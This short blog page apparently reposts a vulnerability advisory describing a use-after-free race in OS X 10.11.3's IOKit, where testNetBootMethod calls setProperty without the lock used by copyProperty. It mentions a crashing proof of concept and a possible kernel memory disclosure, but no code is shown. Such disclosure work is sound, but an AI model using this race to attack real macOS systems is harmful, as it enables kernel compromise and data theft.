About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

This is perhaps a more interesting UaF than just racing testNetBootMethod calls as there looks to be a path to getting free'd memory disclosed back to userspace.

Although the copyProperty macro used by is_io_registry_entry_get_property_bin takes the entry's properties lock before reading and
taking a reference on the property the testNetBootMethod external method directly calls the overriden setProperty without
taking that same lock. ::setProperty calls ::release on all the properties before nulling them out then replacing them
with new objects - we can get a UAF if we can get that ::release call to happen before the ::retain in copyProperty.

This PoC will crash as a UaF but with more care I believe you could get the OSSerialize to serialize an invalid object
leading to a nice kernel memory disclosure.

Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
